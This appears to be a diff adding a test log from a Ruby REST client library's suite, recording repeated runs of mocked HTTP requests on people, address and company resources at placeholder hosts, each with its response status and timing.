+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (222 0.00s)
+PUT http://somewhere.else:80/people/1.xml
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (107 0.00s)
+PUT http://somewhere.else:80/people/2.xml
+--> 409 409 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 200 200 (166 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://localhost:80/people.xml
+--> 200 200 (222 0.00s)
+GET http://localhost:80/people_empty_elements.xml
+--> 200 200 (77 0.00s)
+GET http://localhost:80/people_single_elements.xml
+--> 200 200 (208 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+HEAD http://localhost:80/people/1.xml
+--> 200 200 (0 0.00s)
+POST http://localhost:80/people.xml
+--> 201 201 (0 0.00s)
+POST http://localhost:80/members.xml
+--> 201 201 (1 0.00s)
+PUT http://localhost:80/people/1.xml
+--> 204 204 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+GET http://localhost:80/people_timeout.xml
+GET http://somewhere.else:80/people/retrieve.xml?name=Matz
+--> 200 200 (146 0.00s)
+POST http://somewhere.else:80/people/hire.xml?name=Matz
+--> 201 201 (0 0.00s)
+PUT http://somewhere.else:80/people/promote.xml?name=Matz
+--> 204 204 (0 0.00s)
+PUT http://somewhere.else:80/people/sort.xml?by=name
+--> 204 204 (0 0.00s)
+DELETE http://somewhere.else:80/people/deactivate.xml?name=Matz
+--> 200 200 (0 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/sort.xml?by=name
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/shallow.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1/deep.xml
+--> 200 200 (129 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+PUT http://somewhere.else:80/people/1/promote.xml?position=Manager
+--> 204 204 (0 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://somewhere.else:80/people/1/deactivate.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1/deep.xml
+--> 200 200 (139 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+PUT http://37s.sunrise.i:3000/people/1/addresses/1/normalize_phone.xml?locale=US
+--> 204 204 (0 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (78 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses/new/link.xml
+--> 201 201 (92 0.00s)
+POST http://somewhere.else:80/people/1/register.xml
+--> 201 201 (106 0.00s)
+GET http://somewhere.else:80/people/managers.xml
+--> 200 200 (146 0.00s)
+GET http://somewhere.else:80/people.json
+--> 200 200 (55 0.00s)
+GET http://somewhere.else:80/people.xml
+--> 200 200 (224 0.00s)
+GET http://somewhere.else:80/people/retrieve.json?name=David
+--> 200 200 (28 0.00s)
+GET http://somewhere.else:80/people/retrieve.xml?name=David
+--> 200 200 (149 0.00s)
+GET http://somewhere.else:80/people/2.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2/shallow.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/2.xml
+--> 200 200 (103 0.00s)
+GET http://somewhere.else:80/people/2/shallow.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people/new/register.json
+--> 201 201 (16 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (74 0.00s)
+POST http://somewhere.else:80/people/new/register.xml
+--> 201 201 (74 0.00s)
+GET http://somewhere.else:80/people/1.json
+--> 200 200 (26 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (103 0.00s)
+POST http://somewhere.else:80/people.json
+--> 201 201 (54 0.00s)
+POST http://somewhere.else:80/people.xml
+--> 201 201 (132 0.00s)
+DELETE http://localhost:80/people/2.xml
+--> 200 200 (0 0.00s)
+GET http://localhost:80/people/2.xml
+--> 200 200 (107 0.00s)
+POST http://localhost:80/people/2/addresses.xml
+--> 201 201 (0 0.00s)
+PUT http://localhost:80/people/2.xml
+--> 204 204 (0 0.00s)
+POST http://localhost:80/people/2.xml
+POST http://localhost:80/people/2/addresses.xml
+PUT http://localhost:80/people/2.xml
+DELETE http://localhost:80/people/2.xml
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 422 422 (209 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 409 409 (0 0.00s)
+POST http://37s.sunrise.i:3000/people/1/addresses.xml
+--> 201 201 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/4.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+DELETE http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/2/addresses/1.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/1/addresses/2.xml
+--> 404 404 (0 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (120 0.00s)
+HEAD http://37s.sunrise.i:3000/people/Greg/addresses/1.xml
+--> 200 200 (0 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/people.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/managers.xml
+--> 200 200 (147 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/99.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people//addresses/1.xml
+--> 404 404 (0 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/companies/1/manager.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/leader.xml
+--> 200 200 (107 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/5.xml
+--> 200 200 (230 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/customers/1.xml
+--> 200 200 (1458 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/Greg.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people/1/addresses/1.xml
+--> 200 200 (120 0.00s)
+GET http://37s.sunrise.i:3000/people.xml
+--> 200 200 (222 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://37s.sunrise.i:3000/people/1.xml
+--> 200 200 (106 0.00s)
+POST http://37s.sunrise.i:3000/people.xml
+--> 201 201 (109 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
+GET http://somewhere.else:80/people/1.xml
+--> 200 200 (106 0.00s)
